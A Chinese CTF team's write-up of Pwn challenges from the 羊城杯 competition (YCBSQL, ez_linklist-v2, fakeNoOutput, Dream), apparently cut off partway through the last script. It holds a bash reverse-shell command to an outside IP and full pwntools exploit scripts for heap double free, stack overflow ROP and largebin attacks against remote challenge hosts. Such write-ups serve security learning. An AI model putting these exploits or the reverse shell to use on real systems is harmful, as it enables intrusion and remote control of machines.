-------TWe1v3、1amfree、scr1pt_k1ddi3
这个比赛太累了可,凌晨三点碰着枕头就睡着了,不过收获也蛮多的,这次题目很友好,不像wmCTF一样坐大牢。感谢两位大哥的实力带飞,太菜了我。全靠躺。
目录
Pwn
YCBSQL
这个应该是有了非预期,可以直接调用shell,我们直接反弹就行。
Payload:
.system bash -c "bash -i >&/dev/tcp/101.43.255.238/7777 0>&1"
ez_linklist-v2
这个题目的漏洞就是在unlink的时候如果是unlink的头指针,那么后面的指针没有清空,就会是这样:
然后在free函数的时候,如果offset是0xff,那么后面的指针就都能释放掉,因此就会产生double free。
所以实际上就是一个double free的利用。这里我一开始是用的9.7的libc,之后直接改成9.2的就行。
from pwn import *
# r=process("/home/ubuntu/pwn/比赛/羊城杯/pwn/pwn")
r=remote("tcp.dasc.buuoj.cn",23916)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/pwn/pwn")
# libc=ELF("/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6")
libc=ELF("/home/ubuntu/pwn/比赛/羊城杯/pwn/libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']
def meau(index):
r.sendlineafter("Your choice:",str(index))
def add(size,content):
meau(1)
r.sendlineafter("Size:",str(size))
r.sendafter("Content:",content)
def delete(index,offset):
meau(2)
r.sendlineafter("Index",str(index))
r.sendlineafter("Input offset:",str(offset))
def link(id1,id2):
meau(3)
r.sendlineafter("link from:",str(id1))
r.sendlineafter("link to:",str(id2))
def unlink(index,offset):
meau(4)
r.sendlineafter("Index:",str(index))
r.sendlineafter("Input offset:",str(offset))
add(8,'a'*8)
add(8,'b'*8)
add(8,'c'*8)
add(8,'d'*8)
for i in range(8):
add(0x70,p64(0)+p64(0X451))
link(0,1)
unlink(0,0)
delete(1,0xff)
add(8,'z'*8)
link(0,1)
meau(4)
r.sendlineafter("Index:",str(0))
r.recvuntil("Offset 1:")
heap_base=u64(r.recvuntil("\n")[:-1].ljust(8,b'\x00')) - 0x2e0
success("heap_base = "+hex(heap_base))
r.sendlineafter("Input offset:",str(1))
link(2,3)
unlink(2,0)
delete(3,0xff)
payload=p64(0)+p64(0x450)+p64(heap_base+0x3b0)
add(0x18,payload)
delete(2,0)
add(8,'/bin/sh\x00')
add(8,'z'*8)
add(0x60,"z"*8)
payload=p64(0)+p64(8)+p64(heap_base+0x460)
add(0x18,payload)
link(0,4)
meau(4)
r.sendlineafter("Index:",str(0))
libc_base=u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x10 -96 - libc.symbols['__malloc_hook']
success("libc_base = "+hex(libc_base))
r.sendlineafter("Input offset:",str(1))
system_addr=libc.symbols['system']+libc_base
free_hook=libc_base+libc.symbols['__free_hook']
delete(7,0)
delete(6,0)
delete(1,0)
payload=p64(free_hook)*3
add(0x60,payload)
add(0x60,payload)
add(0x70,p64(system_addr))
add(0x70,p64(system_addr))
delete(3,0)
r.interactive()
fakeNoOutput
这道题目就有点难受,首先是一堆的逆向操作。但是实际上就是一个栈溢出,并且溢出了非常多的字节。但是想要让程序执行到溢出点还是有点的困难。首先我们发现溢出点在upload里面的strcpy(s, haystack);这个部分,然后我们只需要让函数调用upload就可以溢出。但是首先要通过sub_804976F这个函数里面的验证,经过逆向调试发现,就是一个伪随机数,我们直接输入就行。然后溢出的自己大小和Content-Length有较大的关系,因此我们要设置Content-Length的大小来控制溢出的长度。之后由于函数限制的原因,无法ret2libc,因此我们经过精心构造,返回到http_puts函数,然后就能够泄露出got表里的内容,之后再返回主函数再溢出一次就行,就能够拿到shell。让人十分不解的是不知道为什么第二个端口一直打不通,泄露不出来东西,第一个端口多跑两次就能够打通远端。
from os import execve
from pwn import *
# r=process("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/fakeNoOutput")
r=remote("tcp.dasc.buuoj.cn",20432)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/fakeNoOutput")
libc=ELF("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/libc.so.6")
context(arch="i386",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']
payload="POST /upload / "
r.sendline(payload)
payload2="Content-Length:0x4022\t"
r.sendline(payload2)
payload3="HTTP_SERVER1_token:wR5qH796Ky8D03r2W7syLB7406e30xP7\t"
r.sendline(payload3)
r.send("\n")
payload='Content:zzzzfilename=zzzz'
r.sendline(payload)
strlen_got=elf.got['strlen']
strstr_plt=elf.plt['strstr']
# payload=(p32(0x804D1a0)+p32(0x8049F77)+p32(0x804D010)).rjust(0x1040,b'a')+p32(0x804D1A0+0x103c-8)+p32(0x80496A8)
payload=b'b'*0x1040+p32(0x804D1A0+0x4000-4)+p32(0x80496A8)
payload=payload.ljust(0x4000,b'a')+p32(0x8049F77)+p32(0x804D010)
r.send(payload)
libc_base=u32(r.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00")) - libc.symbols['strstr']
success("libc_base = "+hex(libc_base))
system_addr = libc_base+libc.symbols['system']
bin_sh=libc_base+libc.search(b'/bin/sh').__next__()
execve_addr=libc_base+libc.symbols['execve']
gadget1=0xcc9ab
gadget2=0x145f43
gadget3=0x145f44
one_gadget=libc_base+gadget1
payload="POST /upload / "
r.sendline(payload)
payload2="Content-Length:0xece\t"
r.sendline(payload2)
payload3="HTTP_SERVER1_token:5lnPP74OkC4N9U8smBU812Smk1XxvRBJ\t"
r.sendline(payload3)
r.send("\n")
payload='Content:zzzzfilename=zzzz'
r.sendline(payload)
payload=b'c'*0xe9c+p32(execve_addr)+p32(0)+p32(bin_sh)+p32(0)*2
r.send(payload)
r.interactive()
Dream
说是dream,实际上就是一个largebin attack,然后UAF漏洞,函数功能还都比较齐全。主要是开启了沙箱不能拿到shell,并且show函数里面有一个加密的过程,想要泄露数据必须要完成逆向,之后我们直接利用qwb里面house of cat的做法,一次largebin attack攻击malloc assert即可实现orw读取flag并泄露。
from pwn import *
# r=process("/home/ubuntu/pwn/比赛/羊城杯/dream/dream")
r=remote("tcp.dasc.buuoj.cn",26422)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/dream/dream")
libc=ELF("/home/ubuntu/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']
def meau(index):
r.sendlineafter("choice: ",str(index))
def add(index,size,content):
meau(1)
r.sendlineafter("Give me a dream ID: ",str(index))
r.sendlineafter("how long: ",str(size))
r.sendafter("dream: ",content)
def delete(index):
meau(2)
r.sendlineafter("Which dream to wake?",str(index))
def show(index):
meau(4)
r.sendlineafter("Which dream do you want to show?",str(index))
def edit(index,content):
meau(3)
r.sendlineafter("Which dream to make?",str(index))
r.sendafter("dream: ",content)
def de(payload,len):
key = [9,5,2,7]
v9 = 52 // len + 6
delta = 0
delta -= v9 * 0x61C88647
delta &= 0xffffffff
bk = payload[0]
while(v9):
for i in range(1,len)[::-1]:
fd = payload[i - 1]
payload[i] -= (((8 * bk) ^ (fd >> 7)) + ((bk >> 3) ^ (16 * fd))) ^ ((bk ^ delta) + (fd ^ key[((delta >> 2) & 3) ^ i & 3]))
payload[i] &= 0xffffffff
bk = payload[i]
i -= 1
fd = payload[len - 1]
payload[0] -= (((8 * bk) ^ (fd >> 7)) + ((bk >> 3) ^ (16 * fd))) ^ ((bk ^ delta) + (fd ^ key[((delta >> 2) & 3) ^ i & 3]))
payload[0] &= 0xffffffff
bk = payload[0]
delta += 0x61C88647
delta &= 0xffffffff
v9-=1
return payload
add(0,0x420,'a')
add(1,0x400,'b')
add(2,0x410,"c")
delete(0)
delete(1)
show(0)
payloads=[]
for i in range(0x420//4):
payloads.append(int.from_bytes(r.recv(4), "little"))
payloads=de(payloads,0x420//4)
main_arena=(payloads[0]+(payloads[1]<<32)) - 96
libc_bas